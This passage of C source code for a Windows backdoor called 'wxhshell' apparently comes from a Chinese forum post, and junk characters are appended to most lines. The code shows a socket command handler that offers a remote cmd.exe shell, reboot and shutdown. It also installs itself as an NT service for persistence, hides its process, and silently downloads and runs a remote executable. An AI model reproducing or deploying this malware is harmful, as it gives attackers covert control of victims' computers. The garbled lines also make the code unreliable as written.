      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GZKYRPg  
    break; Yyr9Kj:  
  } xUCq%r_  
  // 安装 DdU w~n,  
  case 'i': { :Fu7T1  
    if(Install()) {$i>\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [t$ r)vX  
    else BG= J8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9I;~P &  
    break; wf &Jd:)4t  
    } h/5S2EB0!O  
  // 卸载 I,`;#Q)nx  
  case 'r': { mfS}+_ C  
    if(Uninstall()) KfYU.Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CV_M |  
    else  OK8Ho"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cofdDHXfQI  
    break; NO@`*:.^Y  
    } tf|;'Nc6  
  // 显示 wxhshell 所在路径 t|h c`|  
  case 'p': { Zq<j}vVJ  
    char svExeFile[MAX_PATH]; a]xGzv5  
    strcpy(svExeFile,"\n\r"); NQX?&9L`r  
      strcat(svExeFile,ExeFile); LME&qKe5  
        send(wsh,svExeFile,strlen(svExeFile),0); 'b z&m(!  
    break; 5]upfC6  
    } =QbOvIq  
  // 重启 nE*S3  
  case 'b': { p<#aXs jy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LExm#T`  
    if(Boot(REBOOT)) !{+.)%d'g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \AH5 zdK  
    else {  _cj=}!I  
    closesocket(wsh); hliO/3g  
    ExitThread(0); c$^v~lQS  
    } 1X5Yp|Ho  
    break; eEP{?F^I[  
    } )KVr2y;RF  
  // 关机 5J|S6x\  
  case 'd': { v'b%m8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9==4T$nM[  
    if(Boot(SHUTDOWN)) LjTSu9I>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l U4 I*  
    else { |+::sL\r  
    closesocket(wsh); qNP)oU92  
    ExitThread(0); _ SOwiz  
    } `O%nDry  
    break; b;5j awG  
    } 9+PAyI#w  
  // 获取shell |iX>hJSl  
  case 's': { 0B!(i.w  
    CmdShell(wsh); D}lqd Ja  
    closesocket(wsh); wy tMoG\  
    ExitThread(0); n%#3xo a  
    break; *PV"&cx  
  } 7aKI=;60.  
  // 退出 4%w<Ekd  
  case 'x': { bv'>4a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); law$LL  
    CloseIt(wsh); 6$=>ckP  
    break; Z`M pH  
    } m"'LT0nur  
  // 离开 US(RWXyg  
  case 'q': { <FBBR2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SZ9DT  
    closesocket(wsh); 3Il._]#  
    WSACleanup(); 8Q$WwiS  
    exit(1); f!R7v|j P  
    break; %;v~MC @  
        } l9="ccM  
  } "aCB}  
  } #k|f>D4  
adIrrK  
  // 提示信息 ,=4,eCS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s(5hFuyg  
} ;CF:cH*  
  } *pSnEWwE  
g3&nxZ  
  return; CJ%'VijhD  
} K8MET&  
o5DT1>h  
// shell模块句柄 jOrfI-&.G  
int CmdShell(SOCKET sock) 1/w8'Kf'u  
{ h]t v+\0  
STARTUPINFO si; %<a3[TQd`\  
ZeroMemory(&si,sizeof(si)); B ;E"VS0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9X=<uS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `y^\c#k  
PROCESS_INFORMATION ProcessInfo; amC)t8L?  
char cmdline[]="cmd"; Nc{&AV8Y_v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fxoEK}TM  
  return 0; 0E!-G= v  
} h8 N|m0W  
5R~M@   
// 自身启动模式 5$'[R ;r  
int StartFromService(void) tzGQo5\  
{ G~(\N?2  
typedef struct t,JX6ni  
{ R@z`  
  DWORD ExitStatus; 2p\xgAW?  
  DWORD PebBaseAddress; wn!=G~nB  
  DWORD AffinityMask; 2&n6:"u|  
  DWORD BasePriority; YX-j|m|  
  ULONG UniqueProcessId; X5VNj|IE  
  ULONG InheritedFromUniqueProcessId; +~iiy;i(  
}   PROCESS_BASIC_INFORMATION; %sOY:>  
eS@j? Y0y  
PROCNTQSIP NtQueryInformationProcess; 8P- ay<6  
`vAcCahM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rDbtT*vN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JG'%HJ"D  
1uj~/M  
  HANDLE             hProcess; d]O:VghY\  
  PROCESS_BASIC_INFORMATION pbi; v+in:\Dv  
WA43}CyAe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TmLCmy!  
  if(NULL == hInst ) return 0; sBa:|(Y.  
d wG!]j>:_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ud5}jyJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3lZl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vVvF e~y]  
5G\OINxy  
  if (!NtQueryInformationProcess) return 0; MJ?t{=  
vbeE}7 *2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jIe /X]  
  if(!hProcess) return 0; ~ E6e~  
K=JDl-#!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =KOi#;1  
hIV]ZYbH  
  CloseHandle(hProcess); 6JZ>&HA  
E9j<+Ik  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $ MH;v_'a  
if(hProcess==NULL) return 0; Gkem_Z  
/kK*%TP  
HMODULE hMod; /tj]^QspS  
char procName[255]; ]goJ- &  
unsigned long cbNeeded; a<\n$E#q  
D|)_c1g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lCp6UkE  
06%-tAq:  
  CloseHandle(hProcess); \UZGXk  
99ZWB  
if(strstr(procName,"services")) return 1; // 以服务启动 :qbU@)p*  
N6-7RoA+  
  return 0; // 注册表启动 sU&v B:]~  
} DoQ^caa@  
;6pB7N  
// 主模块 ):>?N`{V  
int StartWxhshell(LPSTR lpCmdLine) "Ux(nt  
{ i@?|vu  
  SOCKET wsl; n5UUoBv  
BOOL val=TRUE; /fb}]e]N  
  int port=0; H i8V=+  
  struct sockaddr_in door; <#?dPDMG.*  
Cfmd*,  
  if(wscfg.ws_autoins) Install(); e_Hpai<b  
!`?i>k?Q E  
port=atoi(lpCmdLine); i'H]N8,A  
5Z; 5?\g  
if(port<=0) port=wscfg.ws_port; F}45.C rD  
}g-w[w 7p  
  WSADATA data; +%\Ci!%b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L%Zr3Ct  
K)>F03=uE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (["kbPma  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pu/5#[MC)^  
  door.sin_family = AF_INET; ;.sYE/ZVi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^_@[1'^  
  door.sin_port = htons(port); ~8nR3ki  
EIQ3vOq6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fiWN^sTM  
closesocket(wsl); TIiYic!_~  
return 1; \MRd4vufv  
} ed',\+.uB  
B2]52Fg-"  
  if(listen(wsl,2) == INVALID_SOCKET) { V{oFig 6  
closesocket(wsl); VNT?  
return 1; uoE+:,P  
} B7'#8heDh  
  Wxhshell(wsl); $%bd`d*S  
  WSACleanup(); F*J1w|)F0  
"*<vE7  
return 0; "}xIt)n%;  
+u$JMp  
} Pv2uZH(  
RN)XIf$@_  
// 以NT服务方式启动 r&a} U6k(y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wfd`v  
{ }WFI /W'  
DWORD   status = 0; hzM;{g>t  
  DWORD   specificError = 0xfffffff; 2qE_SSXn  
O DN_i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yz0fOX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !J;Bm,Xn6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ck0%H#BYY  
  serviceStatus.dwWin32ExitCode     = 0; D1-/#QN$1  
  serviceStatus.dwServiceSpecificExitCode = 0; TPBQfp%HU  
  serviceStatus.dwCheckPoint       = 0; J i@q7qkC  
  serviceStatus.dwWaitHint       = 0; d'MZ%.#  
QObVJg,GD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 02[m{a-  
  if (hServiceStatusHandle==0) return; Q?1.GuF  
a_}C*+D  
status = GetLastError(); \K\eq>@6  
  if (status!=NO_ERROR) R7(XDX=[ s  
{ f4.jWBF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "$(D7yFO  
    serviceStatus.dwCheckPoint       = 0; tL;.vRx  
    serviceStatus.dwWaitHint       = 0; ;yN Y/  
    serviceStatus.dwWin32ExitCode     = status; |%5Aku0`s  
    serviceStatus.dwServiceSpecificExitCode = specificError; ({Md({|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \jk* Nm8;  
    return; l2 n`fZL  
  } vS~tr sI  
t^MTR6y+8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AcnY6:3Y|  
  serviceStatus.dwCheckPoint       = 0; YFu,<8"swe  
  serviceStatus.dwWaitHint       = 0; bi}aVtG~z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dF51_Kk  
} ~;$QSO\2h  
L3oL>r'|  
// 处理NT服务事件,比如:启动、停止 LqD7SJ}/f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?Ybq]J\q  
{ 3AdYZ7J  
switch(fdwControl) "ADI .  
{  YC 6guy>  
case SERVICE_CONTROL_STOP: T;BFO5G@  
  serviceStatus.dwWin32ExitCode = 0; Lb Jf5xdi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Cy,#X%j>  
  serviceStatus.dwCheckPoint   = 0; z@e(y@  
  serviceStatus.dwWaitHint     = 0; +$L}B-F  
  { $t& o(]m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ]'% iR  
  } ;Ngk"5  
  return; OHAU@*[lM  
case SERVICE_CONTROL_PAUSE: }X8P5c!\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #J/RI[a  
  break; Ig!0 A}f  
case SERVICE_CONTROL_CONTINUE: zMpvS rc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /"`hz6rIv  
  break; u*%mUh  
case SERVICE_CONTROL_INTERROGATE: ,S d j"C  
  break; 6e\?%,H  
}; 1qAE)8ie  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <ivG(a*=]  
} 6B@e[VtG$  
YBj*c$.D0  
// 标准应用程序主函数  yI|x 5f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kw z6SObQ  
{ P-T@'}lW  
+`"Tn`O  
// 获取操作系统版本 |) ~-Wy  
OsIsNt=GetOsVer(); ML|?H1m>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UZFs ]z!,k  
AEj%8jh  
  // 从命令行安装 |;|r[aU  
  if(strpbrk(lpCmdLine,"iI")) Install(); :D3:`P>,c  
 1hi  
  // 下载执行文件 93.\.&L\  
if(wscfg.ws_downexe) { MkGQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^NX;z c  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q;>Yk_(S  
} m.ka%h$  
r$4d4xtK  
if(!OsIsNt) { 1(T2:N(M-A  
// 如果时win9x,隐藏进程并且设置为注册表启动 *[ 0,QEy  
HideProc(); 71E~~$  
StartWxhshell(lpCmdLine); 0s//&'*Q  
} $'>iNMtK{p  
else .?APDr"QQH  
  if(StartFromService())  I*f@^(  
  // 以服务方式启动 >3b< Fq$  
  StartServiceCtrlDispatcher(DispatchTable); z"|jCdZGM  
else ~kV>nx2  
  // 普通方式启动 ;TDvk ]:  
  StartWxhshell(lpCmdLine); Jo[ &y,  
!jB}}&Ii  
return 0; B+Qo{-  
}
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只看该作者 1 发表于: 2006-10-10
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